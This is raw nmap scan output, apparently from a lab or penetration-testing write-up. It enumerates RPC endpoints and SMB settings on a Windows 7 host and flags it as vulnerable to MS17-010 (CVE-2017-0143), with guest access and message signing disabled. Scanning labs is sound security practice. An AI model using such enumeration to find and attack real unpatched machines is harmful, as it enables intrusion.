annotation: IKE/Authip API

ncalrpc: senssvc

uuid: a398e520-d59a-4bdd-aa7a-3c1e0303a511

annotation: IKE/Authip API

netbios: \\WIN-845Q99004PP

uuid: a398e520-d59a-4bdd-aa7a-3c1e0303a511

ncacn_np: \PIPE\atsvc

annotation: IKE/Authip API

tcp_port: 49154

uuid: a398e520-d59a-4bdd-aa7a-3c1e0303a511

ip_addr: 0.0.0.0

annotation: IKE/Authip API

ncalrpc: IUserProfile2

uuid: 98716d03-89ac-44c7-bb8c-285824e51c4a

annotation: XactSrv service

ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6

uuid: 98716d03-89ac-44c7-bb8c-285824e51c4a

annotation: XactSrv service

ncalrpc: senssvc

uuid: 98716d03-89ac-44c7-bb8c-285824e51c4a

annotation: XactSrv service

netbios: \\WIN-845Q99004PP

uuid: 98716d03-89ac-44c7-bb8c-285824e51c4a

ncacn_np: \PIPE\atsvc

annotation: XactSrv service

tcp_port: 49154

uuid: 98716d03-89ac-44c7-bb8c-285824e51c4a

ip_addr: 0.0.0.0

annotation: XactSrv service

ncalrpc: IUserProfile2

uuid: 201ef99a-7fa0-444c-9399-19ba84f12a1a

annotation: AppInfo

ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6

uuid: 201ef99a-7fa0-444c-9399-19ba84f12a1a

annotation: AppInfo

ncalrpc: senssvc

uuid: 201ef99a-7fa0-444c-9399-19ba84f12a1a

annotation: AppInfo

netbios: \\WIN-845Q99004PP

```
|      uuid: 201ef99a-7fa0-444c-9399-19ba84f12a1a
|      ncacn_np: \PIPE\atsvc
|      annotation: AppInfo
|
|      tcp_port: 49154
|      uuid: 201ef99a-7fa0-444c-9399-19ba84f12a1a
|      ip_addr: 0.0.0.0
|      annotation: AppInfo
|
|      netbios: \\WIN-845Q99004PP
|      uuid: 201ef99a-7fa0-444c-9399-19ba84f12a1a
|      ncacn_np: \PIPE\srvsvc
|      annotation: AppInfo
|
|      netbios: \\WIN-845Q99004PP
|      uuid: 201ef99a-7fa0-444c-9399-19ba84f12a1a
|      ncacn_np: \PIPE\browser
|      annotation: AppInfo
|
|      ncalrpc: IUserProfile2
|      uuid: 5f54ce7d-5b79-4175-8584-cb65313a0e98
|      annotation: AppInfo
|
|      ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
|      uuid: 5f54ce7d-5b79-4175-8584-cb65313a0e98
|      annotation: AppInfo
|
|      ncalrpc: senssvc
|      uuid: 5f54ce7d-5b79-4175-8584-cb65313a0e98
|      annotation: AppInfo
|
|      netbios: \\WIN-845Q99004PP
|      uuid: 5f54ce7d-5b79-4175-8584-cb65313a0e98
|      ncacn_np: \PIPE\atsvc
|      annotation: AppInfo
|
|      tcp_port: 49154
|      uuid: 5f54ce7d-5b79-4175-8584-cb65313a0e98
|      ip_addr: 0.0.0.0
|      annotation: AppInfo
|
|      netbios: \\WIN-845Q99004PP
|      uuid: 5f54ce7d-5b79-4175-8584-cb65313a0e98
|      ncacn_np: \PIPE\srvsvc
|      annotation: AppInfo
|
|      netbios: \\WIN-845Q99004PP
|      uuid: 5f54ce7d-5b79-4175-8584-cb65313a0e98
|      ncacn_np: \PIPE\browser
|      annotation: AppInfo
|
|      ncalrpc: IUserProfile2
|      uuid: fd7a0523-dc70-43dd-9b2e-9c5ed48225b1
|      annotation: AppInfo
|
|      ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
|      uuid: fd7a0523-dc70-43dd-9b2e-9c5ed48225b1
|      annotation: AppInfo
|
```

```
| ncalrpc: senssvc
| uuid: fd7a0523-dc70-43dd-9b2e-9c5ed48225b1
| annotation: AppInfo
|
| netbios: \\WIN-845Q99004PP
| uuid: fd7a0523-dc70-43dd-9b2e-9c5ed48225b1
| ncacn_np: \PIPE\atsvc
| annotation: AppInfo
|
| tcp_port: 49154
| uuid: fd7a0523-dc70-43dd-9b2e-9c5ed48225b1
| ip_addr: 0.0.0.0
| annotation: AppInfo
|
| netbios: \\WIN-845Q99004PP
| uuid: fd7a0523-dc70-43dd-9b2e-9c5ed48225b1
| ncacn_np: \PIPE\srvsvc
| annotation: AppInfo
|
| netbios: \\WIN-845Q99004PP
| uuid: fd7a0523-dc70-43dd-9b2e-9c5ed48225b1
| ncacn_np: \PIPE\browser
| annotation: AppInfo
|
| ncalrpc: IUserProfile2
| uuid: 58e604e8-9adb-4d2e-a464-3b0683fb1480
| annotation: AppInfo
|
| ncalrpc: OLE6748BFBC3DCD44F885647BF58DE6
| uuid: 58e604e8-9adb-4d2e-a464-3b0683fb1480
| annotation: AppInfo
|
| ncalrpc: senssvc
| uuid: 58e604e8-9adb-4d2e-a464-3b0683fb1480
| annotation: AppInfo
|
| netbios: \\WIN-845Q99004PP
| uuid: 58e604e8-9adb-4d2e-a464-3b0683fb1480
| ncacn_np: \PIPE\atsvc
| annotation: AppInfo
|
| tcp_port: 49154
| uuid: 58e604e8-9adb-4d2e-a464-3b0683fb1480
| ip_addr: 0.0.0.0
| annotation: AppInfo
|
| netbios: \\WIN-845Q99004PP
| uuid: 58e604e8-9adb-4d2e-a464-3b0683fb1480
| ncacn_np: \PIPE\srvsvc
| annotation: AppInfo
|
| netbios: \\WIN-845Q99004PP
| uuid: 58e604e8-9adb-4d2e-a464-3b0683fb1480
| ncacn_np: \PIPE\browser
| annotation: AppInfo
|
| ncalrpc: eventlog
| uuid: f6beaff7-1e19-4fbb-9f8f-b89e2018337c
| annotation: Event log TCPIP
```

netbios: \\WIN-845Q99004PP
uuid: f6beaff7-1e19-4fbb-9f8f-b89e2018337c
ncacn_np: \pipe\eventlog
annotation: Event log TCPIP

tcp_port: 49153
uuid: f6beaff7-1e19-4fbb-9f8f-b89e2018337c
ip_addr: 0.0.0.0
annotation: Event log TCPIP

ncalrpc: eventlog
uuid: 30adc50c-5cbc-46ce-9a0e-91914789e23c
annotation: NRP server endpoint

netbios: \\WIN-845Q99004PP
uuid: 30adc50c-5cbc-46ce-9a0e-91914789e23c
ncacn_np: \pipe\eventlog
annotation: NRP server endpoint

tcp_port: 49153
uuid: 30adc50c-5cbc-46ce-9a0e-91914789e23c
ip_addr: 0.0.0.0
annotation: NRP server endpoint

ncalrpc: AudioClientRpc
uuid: 30adc50c-5cbc-46ce-9a0e-91914789e23c
annotation: NRP server endpoint

ncalrpc: Audiosrv
uuid: 30adc50c-5cbc-46ce-9a0e-91914789e23c
annotation: NRP server endpoint

ncalrpc: eventlog
uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5
annotation: DHCP Client LRPC Endpoint

netbios: \\WIN-845Q99004PP
uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5
ncacn_np: \pipe\eventlog
annotation: DHCP Client LRPC Endpoint

tcp_port: 49153
uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5
ip_addr: 0.0.0.0
annotation: DHCP Client LRPC Endpoint

ncalrpc: AudioClientRpc
uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5
annotation: DHCP Client LRPC Endpoint

ncalrpc: Audiosrv
uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5
annotation: DHCP Client LRPC Endpoint

ncalrpc: dhcpcsvc
uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5
annotation: DHCP Client LRPC Endpoint

```
| ncalrpc: eventlog
| uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6
| annotation: DHCPv6 Client LRPC Endpoint
|
| netbios: \\WIN-845Q99004PP
| uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6
| ncacn_np: \pipe\eventlog
| annotation: DHCPv6 Client LRPC Endpoint
|
| tcp_port: 49153
| uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6
| ip_addr: 0.0.0.0
| annotation: DHCPv6 Client LRPC Endpoint
|
| ncalrpc: AudioClientRpc
| uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6
| annotation: DHCPv6 Client LRPC Endpoint
|
| ncalrpc: Audiosrv
| uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6
| annotation: DHCPv6 Client LRPC Endpoint
|
| ncalrpc: dhcpcsvc
| uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6
| annotation: DHCPv6 Client LRPC Endpoint
|
| ncalrpc: dhcpcsvc6
| uuid: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6
| annotation: DHCPv6 Client LRPC Endpoint
|
| ncalrpc: eventlog
| uuid: 06bba54a-be05-49f9-b0a0-30f790261023
| annotation: Security Center
|
| netbios: \\WIN-845Q99004PP
| uuid: 06bba54a-be05-49f9-b0a0-30f790261023
| ncacn_np: \pipe\eventlog
| annotation: Security Center
|
| tcp_port: 49153
| uuid: 06bba54a-be05-49f9-b0a0-30f790261023
| ip_addr: 0.0.0.0
| annotation: Security Center
|
| ncalrpc: AudioClientRpc
| uuid: 06bba54a-be05-49f9-b0a0-30f790261023
| annotation: Security Center
|
| ncalrpc: Audiosrv
| uuid: 06bba54a-be05-49f9-b0a0-30f790261023
| annotation: Security Center
|
| ncalrpc: dhcpcsvc
| uuid: 06bba54a-be05-49f9-b0a0-30f790261023
| annotation: Security Center
|
| ncalrpc: dhcpcsvc6
| uuid: 06bba54a-be05-49f9-b0a0-30f790261023
| annotation: Security Center
```

```
|
|   ncalrpc: 0LE5D141EF26C73460EA456A9C509DB
|   uuid: 06bba54a-be05-49f9-b0a0-30f790261023
|   annotation: Security Center
|
|   ncalrpc: WMsgKRpc08A221
|   uuid: 76f226c3-ec14-4325-8a99-6a46348418af
|
|   ncalrpc: WMsgKRpc08A221
|   uuid: 12e65dd8-887f-41ef-91bf-8d816c42c2e7
|   annotation: Secure Desktop LRPC interface
|
|   ncalrpc: LRPC-1141faac5f7c4f060d
|   uuid: c9ac6db5-82b7-4e55-ae8a-e464ed7b4277
|   annotation: Impl friendly name
|
|   ncalrpc: WMsgKRpc087450
|   uuid: 76f226c3-ec14-4325-8a99-6a46348418af
|
|   netbios: \\WIN-845Q99004PP
|   uuid: 76f226c3-ec14-4325-8a99-6a46348418af
|   ncacn_np: \PIPE\InitShutdown
|
|   ncalrpc: WindowsShutdown
|   uuid: 76f226c3-ec14-4325-8a99-6a46348418af
|
|   ncalrpc: WMsgKRpc087450
|   uuid: d95afe70-a6d5-4259-822e-2c84da1ddb0d
|
|   netbios: \\WIN-845Q99004PP
|   uuid: d95afe70-a6d5-4259-822e-2c84da1ddb0d
|   ncacn_np: \PIPE\InitShutdown
|
|   ncalrpc: WindowsShutdown
|_  uuid: d95afe70-a6d5-4259-822e-2c84da1ddb0d
| smb2-security-mode:
|   2.1:
|_   Message signing enabled but not required
| smb2-capabilities:
|   2.0.2:
|     Distributed File System
|   2.1:
|     Distributed File System
|     Leasing
|_   Multi-credit operations
|_smb-mbenum: ERROR: Script execution failed (use -d to debug)
| dns-blacklist:
|   SPAM
|     list.quorum.to - FAIL
|     spam.dnsbl.sorbs.net - FAIL
|_   l2.apews.org - FAIL
|_clock-skew: mean: 1h20m00s, deviation: 2h18m36s, median: -1s
|_smb-vuln-ms10-054: false
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.0.2
|_   2.1
|_fcrdns: FAIL (No PTR record)
```



```
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|   State: VULNERABLE
|   IDs:   CVE:CVE-2017-0143
|   Risk factor: HIGH
|   A critical remote code execution vulnerability exists in Microsoft SMBv1
|   servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|   https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-
attacks/
|_   https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| smb-os-discovery:
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-845Q99004PP
|   NetBIOS computer name: WIN-845Q99004PP\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-09-28T22:21:41-04:00
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
```

Post-scan script results:

```
| reverse-index:
|   135/tcp: 192.168.8.169
|   139/tcp: 192.168.8.169
|   445/tcp: 192.168.8.169
|   5357/tcp: 192.168.8.169
|   49152/tcp: 192.168.8.169
|   49153/tcp: 192.168.8.169
|   49154/tcp: 192.168.8.169
|   49155/tcp: 192.168.8.169
|   49156/tcp: 192.168.8.169
|_  49157/tcp: 192.168.8.169
```

Read data files from: /usr/bin/../../share/nmap

Nmap done at Wed Sep 28 22:23:23 2022 -- 1 IP address (1 host up) scanned in 280.48 seconds

